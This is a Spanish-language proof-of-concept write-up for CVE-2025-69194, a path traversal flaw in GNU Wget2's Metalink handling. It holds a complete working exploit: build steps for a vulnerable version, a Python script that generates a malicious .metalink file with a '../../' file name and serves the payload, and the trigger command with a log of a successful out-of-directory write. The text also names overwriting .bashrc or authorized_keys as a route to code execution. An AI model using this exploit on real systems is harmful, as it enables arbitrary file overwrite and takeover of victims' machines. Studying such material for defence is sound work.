
PoC para CVE-2025-69194, una vulnerabilidad de Path Traversal en GNU Wget2 <= 2.2.0. Esta vulnerabilidad permite a los atacantes lograr escritura o sobrescritura arbitraria de archivos en el sistema de archivos de la víctima al proporcionar un archivo Metalink malicioso con atributos de nombre de archivo manipulados.
PoC para CVE-2025-69194, una vulnerabilidad crítica de Path Traversal en GNU Wget2 <= 2.2.0 (verificado en v1.99.1). Esta vulnerabilidad permite a atacantes lograr la escritura o sobrescritura arbitraria de archivos en el sistema de archivos de la víctima proporcionando un archivo Metalik malicioso con atributos file name manipulados.
Cuando Wget2 procesa un archivo Metalink usando la opción --force-metalink, no sanitiza adecuadamente las secuencias de traversal de directorios (por ejemplo, ../../). Esto puede derivar en Ejecución Remota de Código (RCE) si un atacante sobrescribe archivos críticos del sistema (como .bashrc, .ssh/authorized_keys) o binarios del sistema.
Para reproducir con precisión la vulnerabilidad, compilamos Wget2 v1.99.1 desde el código fuente para asegurar que el módulo Metalink vulnerable esté activo y sin parches.
sudo apt update && sudo apt install -y build-essential libgnutls28-dev libxml2-dev \
libzstd-dev liblzma-dev libpcre2-dev libidn2-dev libpsl-dev \
libbrotli-dev autoconf automake libtool gettext pkg-config python3
wget https://ftp.gnu.org/gnu/wget/wget2-1.99.1.tar.gz
tar -xvf wget2-1.99.1.tar.gz && cd wget2-1.99.1
./configure --with-libxml2
make -j$(nproc)
sudo make install && sudo ldconfig
# Verificar instalación (se requiere soporte +metalink)
wget2 --version | grep -E "1.99.1|metalink"
El atacante aloja un archivo .metalink malicioso y el payload correspondiente. Guarda lo siguiente como poc.py:
import os
import hashlib
import http.server
import socketserver
import threading
import time
# --- 配置区 ---
TARGET_FILE_NAME = "../../pwned_test.txt" # 想要穿越到的目标路径
PAYLOAD_CONTENT = "pwned by CVE-2025-69194\n"
PORT = 8000
METALINK_FILE = "exploit.metalink"
PAYLOAD_FILE = "evil.dat"
def create_files():
# 1. 创建载荷文件
with open(PAYLOAD_FILE, "w") as f:
f.write(PAYLOAD_CONTENT)
# 计算 SHA256
sha256_hash = hashlib.sha256(PAYLOAD_CONTENT.encode()).hexdigest()
file_size = len(PAYLOAD_CONTENT)
# 2. 构造恶意的 Metalink 结构
metalink_content = f'''<?xml version="1.0" encoding="UTF-8"?>
<metalink xmlns="http://www.metalinker.org/">
<files>
<file name="{TARGET_FILE_NAME}">
<size>{file_size}</size>
<verification>
<hash type="sha256">{sha256_hash}</hash>
</verification>
<resources>
<url type="http">http://127.0.0.1:{PORT}/{PAYLOAD_FILE}</url>
</resources>
</file>
</files>
</metalink>
'''
with open(METALINK_FILE, "w") as f:
f.write(metalink_content)
print(f"[+] 恶意文件 {METALINK_FILE} 已生成。")
def start_server():
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", PORT), handler) as httpd:
print(f"[*] 恶意服务器已在端口 {PORT} 启动...")
httpd.serve_forever()
if __name__ == "__main__":
# 清理旧文件
if os.path.exists(TARGET_FILE_NAME):
os.remove(TARGET_FILE_NAME)
create_files()
# 启动后台服务器
server_thread = threading.Thread(target=start_server, daemon=True)
server_thread.start()
time.sleep(1) # 等待服务器就绪
print("\n[!] 现在请在另一个终端执行以下命令进行复现:")
print(f"wget2 --force-metalink -i {METALINK_FILE}")
print(f"\n[!] 执行后,检查目标文件是否存在:")
print(f"ls {TARGET_FILE_NAME} && cat {TARGET_FILE_NAME}")
# 保持主线程运行
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print("\n[+] 演示结束,正在清理...")
Ejecuta el siguiente comando en un subdirectorio (por ejemplo, ~/Downloads/CVE-2025-69194/) para observar la salida del directorio:
# Verificación previa: comprobar que el archivo no existe en el directorio padre del padre
ls ../../pwned_test.txt
# Ejecutar el exploit
wget2 --force-metalink -i exploit.metalink
La vulnerabilidad reside en la lógica de análisis de Metalink donde se confía en el atributo name sin normalización.
| Fase | Descripción |
|---|
Como se demostró en la reproducción exitosa, el archivo pwned_test.txt se creó dos niveles por encima de la carpeta de ejecución:
lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt
ls: cannot access '../../pwned_test.txt': No such file or directory
lele@u22:~/Downloads/CVE-2025-69194$ wget2 --force-metalink -i exploit.metalink
downloading part 1/1 (0-23) ../../pwned_test.txt from 127.0.0.1
HTTP response 200 OK [http://127.0.0.1:8000/evil.dat]
part 1 downloaded
../../pwned_test.txt checking...
Checksum OK for '../../pwned_test.txt'
lele@u22:~/Downloads/CVE-2025-69194$ ls ../../pwned_test.txt && cat ../../pwned_test.txt
../../pwned_test.txt
pwned by CVE-2025-69194

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El autor no se hace responsable de ningún daño causado por el mal uso de esta información. El acceso no autorizado a sistemas informáticos está estrictamente prohibido.
| Entrada | Wget2 lee <file name="../../pwned_test.txt">. |
| Omisión | No se realiza ninguna comprobación para ver si la ruta contiene ../ o intenta salir del directorio de trabajo actual (CWD). |
| Escritura | Wget2 abre la ruta resuelta CWD + ../../pwned_test.txt y escribe el payload verificado. |